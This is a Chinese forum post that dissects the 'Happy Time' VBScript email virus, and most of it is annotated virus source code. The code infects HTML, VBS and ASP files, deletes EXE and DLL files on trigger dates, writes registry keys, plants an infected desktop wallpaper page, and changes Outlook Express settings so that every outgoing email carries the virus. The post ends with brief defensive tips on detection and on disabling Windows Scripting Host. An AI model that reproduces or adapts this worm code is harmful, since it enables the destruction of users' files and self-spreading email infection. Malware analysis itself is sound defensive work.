依星源码资源网,依星资源网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 16|回复: 0

“欢乐时光”病毒源码剖析

[复制链接] 主动推送

1124

主题

1130

帖子

1558

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1558
发表于 4 天前 | 显示全部楼层 |阅读模式

“欢乐时光”病毒源码剖析



  5月8日—国庆长假后的第一天,一个全新的病毒“欢乐时光”使不少国内的电脑纷纷“中招”;此后,又于6月7日再次爆发。各大媒体大肆渲染,推波助澜,许多人不敢收信甚至不敢上网,一时间,搞得国内人心惶惶。

  “欢乐时光”其实是一种邮件病毒,但它不同于前段时间大行其道的“美丽莎”和“爱虫”,此病毒并不至身于附件,而是藏身与邮件体之中。一旦用户将鼠标移至带有“快乐时光”病毒体的此种邮件上,未等看到邮件就已中招,许多人未曾料到,因此“欢乐时光”得以以此种迅捷的方式泛滥成灾。

  “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。

  下面让我们来看看它藏在快乐的外衣下的是什么吧!
'*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")  
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写……      
  mURL = LCase(document.Location)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
'******************************************************************
'以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"   
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度  
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS     
  If Of.FileExists("C:\help.htm") Then   
     Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在,就删掉,消灭遗留的痕迹
  End If
  Key = CInt(Month(Date) + Day(Date))  
  If Key = 13 Then   
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
    Od.RemoveAll
    Od.Add "exe", "0001"
    Od.Add "dll", "0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
  End If
  Cn = Rg(Ks & "Help\Count")   
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
  If Cn = "" Then
Cn = 1
'如果Count为0,就设为1
  End If
  Rw Ks & "Help\Count", Cn + 1   
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
  f1 = Rg(Ks & "Help\FileName")   
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
  f2 = FNext(Of, Od, f1)   
'得到该文件的文件名
  fext = GetExt(Of, Od, f2)   
'得到该文件扩展名的代号
  Rw Ks & "Help\FileName", f2   
'添加键值
  If IsDel(fext) Then   
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2     
'储存文件名
f2 = FNext(Of, Od, f2)   
'得到文件的文件名?
Rw Ks & "Help\FileName", f2   
'写注册表
Of.DeleteFile f3   
'删除文件
  Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
    Fw Of, f2, fext
    End If
  End If
  If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换,并发邮件
      Tsend
    Else
      adds = Og
      Msend (adds)
    End If
  End If
  wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
  If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
  '比较桌面墙纸是否已改变
  If wp = "" Then
      n1 = ""
      n3 = Cs & "\Help.htm"
    Else
      mP = Of.GetFile(wp).ParentFolder
      n1 = Of.GetFileName(wp)
      n2 = Of.GetBaseName(wp)
      n3 = Cs & "\" & n2 & ".htm"
    End If
    Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
    pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
'超文本的内容
    pfc.Close
    Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'将带毒的超文本设置成活动桌面
  End If
Else
  Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
  fc.Write Sa("0100")
'创建vbs文件
  fc.Close
  bf = Cs & "\Untitled.htm"
  Set fc2 = Of.CreateTextFile(bf, True)
  fc2.Write Lhtml
  fc2.Close
'创建windows下的untitled.htm
  oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
  oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
  xpress\5.0\Mail"
  MSH = oe & "\Message Send HTML"
  CUS = oe & "\Compose Use Stationery"
  SN = oe & "\Stationery Name"
  Rw MSH, 1
  Rw CUS, 1
  Rw SN, bf
'在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
  Web = Cs & "\WEB"
  Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
  Od.Add "htt", "1100"
'向Dictionary里添加htt项目对
  For Each m In gf
'遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
'得到每个文件的扩展名
If fext <> "" Then
'如果扩展名不为空,则
      Fw Of, m, fext
    End If
  Next
End If
End Sub
'以下代码需要会员才可以查看
游客,本帖隐藏的内容需要积分高于 100 才可浏览,您当前积分为 0
   出于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到,“欢乐时光”也采用了“爱虫”的FileSystemObject(文件系统对象)的技术,这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSystemObject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些良性的超文本和Vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅监视关键字,如“爱虫”的“I love you”,“欢乐时光”的“Happy Time",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变量名替换一下,具有“智能查毒”的杀毒软件们也只有装聋作哑,望毒兴叹了。

  如果您使用的是Foxmail 3.x,恭喜您啦!Foxmail 3.0以上的版本都严格地将文本邮件和超文本邮件加以区分,默认超文本邮件需要点击右角上的小地球图标才可以看到超文本,如果您怀疑某封信可能带毒,就可以从容删之,或导出成ASCII文件用记事本打开研究研究。而老Foxmail和Outlook Express就没那么幸运,即一看到标题就已Bingo,OE还会成为散毒源,寄发带毒邮件。因此首先,最好使用Foxmail 3.x,安全第一嘛!如果不放心,干脆删掉WSH(Windows Scripting Host)吧!方法是找到"添加/删除程序"->"Windows安装程序"--"附件" ,将"组件"中的"Windows Scripting Host"所占空间1.1MB前面的勾去掉,然后选"确定"即可。如果你想研究其源码,用Foxmail导出为文本文件即可,“知己知彼,百战不殆”嘛!

相关帖子

扫码关注微信公众号,及时获取最新资源信息!下载附件优惠VIP会员5折;永久VIP免费
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

免责声明:
1、本站提供的所有资源仅供参考学习使用,版权归原著所有,禁止下载本站资源参与商业和非法行为,请在24小时之内自行删除!
2、本站所有内容均由互联网收集整理、网友上传,并且以计算机技术研究交流为目的,仅供大家参考、学习,请勿任何商业目的与商业用途。
3、若您需要商业运营或用于其他商业活动,请您购买正版授权并合法使用。
4、论坛的所有内容都不保证其准确性,完整性,有效性,由于源码具有复制性,一经售出,概不退换。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
5、用户使用本网站必须遵守适用的法律法规,对于用户违法使用本站非法运营而引起的一切责任,由用户自行承担
6、本站所有资源来自互联网转载,版权归原著所有,用户访问和使用本站的条件是必须接受本站“免责声明”,如果不遵守,请勿访问或使用本网站
7、本站使用者因为违反本声明的规定而触犯中华人民共和国法律的,一切后果自己负责,本站不承担任何责任。
8、凡以任何方式登陆本网站或直接、间接使用本网站资料者,视为自愿接受本网站声明的约束。
9、本站以《2013 中华人民共和国计算机软件保护条例》第二章 “软件著作权” 第十七条为原则:为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬。若有学员需要商用本站资源,请务必联系版权方购买正版授权!
10、本网站如无意中侵犯了某个企业或个人的知识产权,请来信【站长信箱312337667@qq.com】告之,本站将立即删除。
郑重声明:
本站所有资源仅供用户本地电脑学习源代码的内含设计思想和原理,禁止任何其他用途!
本站所有资源、教程来自互联网转载,仅供学习交流,不得商业运营资源,不确保资源完整性,图片和资源仅供参考,不提供任何技术服务。
本站资源仅供本地编辑研究学习参考,禁止未经资源商正版授权参与任何商业行为,违法行为!如需商业请购买各资源商正版授权
本站仅收集资源,提供用户自学研究使用,本站不存在私自接受协助用户架设游戏或资源,非法运营资源行为。
 
在线客服
点击这里给我发消息 点击这里给我发消息 点击这里给我发消息
售前咨询热线
312337667

微信扫一扫,私享最新原创实用干货

QQ|免责声明|依星源码资源网 ( 鲁ICP备2021043233号-3 )|网站地图

GMT+8, 2024-7-4 14:18

Powered by Net188.com X3.4

邮箱:312337667@qq.com 客服QQ:312337667(工作时间:9:00~21:00)

快速回复 返回顶部 返回列表